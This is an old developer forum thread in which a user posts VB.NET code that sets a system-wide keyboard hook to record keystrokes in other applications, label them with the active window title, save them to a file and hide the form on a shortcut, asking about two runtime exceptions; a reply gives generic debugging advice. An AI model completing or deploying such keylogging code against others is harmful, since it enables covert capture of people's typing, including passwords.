473,320 Members | 1,957 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,320 software developers and data experts.

Exception

Hi,

while trying to record the keystrokes from outside the application (ie a notepad) i'm getting 2 exception " NullReferenceException was unhandled." and "callbackoncollecteddelegate was detected "

Expand|Select|Wrap|Line Numbers
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3.  
  4. Public Class Form1
  5.  
  6. Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
  7.  
  8. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
  9.  
  10. Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  11. 'Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  12. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  13.  
  14. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  15.  
  16. Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  17.  
  18. Private Const WM_KEYUP As Integer = &H101
  19.  
  20. Private Const WM_KEYDOWN As Short = &H100S
  21.  
  22. Private Const WM_SYSKEYDOWN As Integer = &H104
  23.  
  24. Private Const WM_SYSKEYUP As Integer = &H105
  25.  
  26. Private KeyboardHandle As New IntPtr
  27.  
  28. Private LastCheckedForegroundTitle As String = ""
  29.  
  30. Private callback As KeyboardHookDelegate = Nothing
  31.  
  32. Private KeyLog As String
  33.  
  34. Public Structure KBDLLHOOKSTRUCT
  35.  
  36. Public vkCode As Integer 'KeyCode (Of interest to us)
  37.  
  38. Public scanCode As Integer 'ScanCode
  39.  
  40. Public flags As Integer
  41.  
  42. Public time As Integer
  43.  
  44. Public dwExtraInfo As Integer
  45.  
  46. End Structure
  47.  
  48. <StructLayout(LayoutKind.Sequential)> Public Structure Point
  49. Public x As Integer
  50. Public y As Integer
  51. End Structure
  52.  
  53. 'MouseHookStruct structure declaration.
  54. <StructLayout(LayoutKind.Sequential)> Public Structure MouseHookStruct
  55. Public pt As Point
  56. Public hwnd As Integer
  57. Public wHitTestCode As Integer
  58. Public dwExtraInfo As Integer
  59. End Structure
  60.  
  61. Enum virtualKey
  62.  
  63. K_Return = &HD
  64.  
  65. K_Backspace = &H8
  66.  
  67. K_Space = &H20
  68.  
  69. K_Tab = &H9
  70.  
  71. K_Esc = &H1B
  72. End Enum
  73.  
  74. Public Sub HookKeyboard()
  75. callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
  76. KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
  77. End Sub
  78.  
  79. Private Function Hooked()
  80. Return KeyboardHandle <> 0
  81. End Function
  82.  
  83. Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  84. 'Get current foreground window title
  85.  
  86. Dim CurrentTitle = GetActiveWindowTitle()
  87.  
  88. 'If title of the foreground window changed
  89.  
  90. If CurrentTitle <> LastCheckedForegroundTitle Then
  91.  
  92. LastCheckedForegroundTitle = CurrentTitle
  93.  
  94. 'Add a little header containing the application title and date
  95.  
  96. KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf
  97.  
  98. End If
  99. 'Variable to hold the text describing the key pressed
  100.  
  101. Dim Key As String = ""
  102. 'If event is KEYDOWN
  103.  
  104. If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
  105.  
  106. 'If we can block events
  107.  
  108. If Code >= 0 Then
  109.  
  110. 'If Ctrl+Alt+S
  111.  
  112. If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown Then
  113.  
  114. Me.Visible = Not Me.Visible 'Hide/Show form
  115.  
  116. Return 1 'Block event
  117.  
  118. End If
  119.  
  120. End If
  121.  
  122. 'Translate virtual key into character/expression
  123.  
  124. Select Case lParam.vkCode
  125.  
  126. Case virtualKey.K_Esc
  127.  
  128. Key = virtualKey.K_Esc
  129.  
  130. Case virtualKey.K_Backspace
  131.  
  132. Key = ChrW(lParam.vkCode + 8)
  133.  
  134. End Select
  135.  
  136. End If
  137.  
  138. Key = "wParam=" & wParam & ";" & "lParam=" & lParam.vkCode & vbCrLf
  139.  
  140. 'Add it to the log
  141. KeyLog &= Key
  142.  
  143. Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications
  144.  
  145. End Function
  146.  
  147. Private Function GetActiveWindowTitle() As String
  148.  
  149. Dim MyStr As String
  150.  
  151. MyStr = New String(Chr(0), 100)
  152.  
  153. GetWindowText(GetForegroundWindow, MyStr, 100)
  154.  
  155. MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  156. Return MyStr
  157.  
  158. End Function
  159.  
  160. Public Sub UnhookKeyboard()
  161. If (Hooked()) Then
  162. If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
  163. KeyboardHandle = 0 'We have unhooked successfully
  164. End If
  165. End If
  166. End Sub
  167.  
  168. Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
  169.  
  170. End Sub
  171.  
  172. Private Sub btnstart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnrecord.Click
  173. Timer1.Enabled = True
  174. End Sub
  175.  
  176. Private Sub btnstop_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnstop.Click
  177. My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)
  178. Timer1.Enabled = False
  179. UnhookKeyboard()
  180. End Sub
  181.  
  182. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  183. HookKeyboard()
  184. End Sub
  185.  
  186. Private Sub btnbrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnbrowse.Click
  187. Dim ID As String
  188. Dim openDlg As OpenFileDialog = New OpenFileDialog()
  189. openDlg.Title = "Select the File"
  190. If (openDlg.ShowDialog() = Windows.Forms.DialogResult.OK) Then
  191. TextFolderName.Text = openDlg.FileName
  192. ID = Shell(TextFolderName.Text, AppWinStyle.NormalFocus)
  193. Else
  194. Exit Sub
  195. End If
  196. btnbrowse.Visible = True
  197. End Sub
  198.  
  199. End Class
  200.  
Jul 15 '08 #1
1 1170
r035198x
13,262 8TB
An uninitialized variable is being derefenced somewhere. Put some break points and debug it to find out which is the offending variable (if the stacktrace doesn't report it).
Jul 15 '08 #2

Sign in to post your reply or Sign up for a free account.

Similar topics

4
by: Nicolas Fleury | last post by:
Hi, I've made a small utility to re-raise an exception with the same stack as before with additional information in it. Since I want to keep the same exception type and that some types have very...
1
by: Old Wolf | last post by:
1. What is the difference between #include <stdexcept> and #include <exception> ? 2. Is there a list somewhere of what each standard exception is used for? either to throw them, or throw...
11
by: Master of C++ | last post by:
Hi, I am writing a simulation package in C++, and so far I've written about 8000 lines of code and have about 30 classes. I haven't used C++ exceptions so far (for various reasons). The only two...
4
by: maricel | last post by:
I have the following base table structure - DDL: CREATE TABLE "ADMINISTRATOR"."T1" ( "C1" INTEGER NOT NULL ) IN "TEST_TS" ; ALTER TABLE "ADMINISTRATOR"."T1" ADD PRIMARY KEY
44
by: craig | last post by:
I am wondering if there are some best practices for determining a strategy for using try/catch blocks within an application. My current thoughts are: 1. The code the initiates any high-level...
40
by: Kevin Yu | last post by:
is it a bad programming design to throw exception in the try block then catch it??
6
by: Vadivel Kumar | last post by:
I've a problem in handling a custom exception The following is my custom exception class: public class AppException : public Exception { public AppException (string message, Exception...
3
by: JohnDeHope3 | last post by:
First let me say that I understand that Asp.Net wraps my exception in an HttpUnhandledException. I have found a lot of discussion about that on the web, which was informative, but not helpful. Let...
7
by: Sek | last post by:
Hi Folks! I was pondering over a code and noticed that exception handlers were present in the private, protected as well as public methods. And, ofcourse, public methods were calling priv/prot...
2
by: Darko Miletic | last post by:
Recently I wrote a dll in c++ and to simplify the distribution I decided to link with multithreaded static library (/MT or /MTd option). In debug everything works fine but in release I get this: ...
0
by: ryjfgjl | last post by:
ExcelToDatabase: batch import excel into database automatically...
0
by: Vimpel783 | last post by:
Hello! Guys, I found this code on the Internet, but I need to modify it a little. It works well, the problem is this: Data is sent from only one cell, in this case B5, but it is necessary that data...
0
by: ArrayDB | last post by:
The error message I've encountered is; ERROR:root:Error generating model response: exception: access violation writing 0x0000000000005140, which seems to be indicative of an access violation...
1
by: PapaRatzi | last post by:
Hello, I am teaching myself MS Access forms design and Visual Basic. I've created a table to capture a list of Top 30 singles and forms to capture new entries. The final step is a form (unbound)...
1
by: CloudSolutions | last post by:
Introduction: For many beginners and individual users, requiring a credit card and email registration may pose a barrier when starting to use cloud servers. However, some cloud server providers now...
1
by: Defcon1945 | last post by:
I'm trying to learn Python using Pycharm but import shutil doesn't work
1
by: Shællîpôpï 09 | last post by:
If u are using a keypad phone, how do u turn on JavaScript, to access features like WhatsApp, Facebook, Instagram....
0
by: af34tf | last post by:
Hi Guys, I have a domain whose name is BytesLimited.com, and I want to sell it. Does anyone know about platforms that allow me to list my domain in auction for free. Thank you
0
by: Faith0G | last post by:
I am starting a new it consulting business and it's been a while since I setup a new website. Is wordpress still the best web based software for hosting a 5 page website? The webpages will be...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.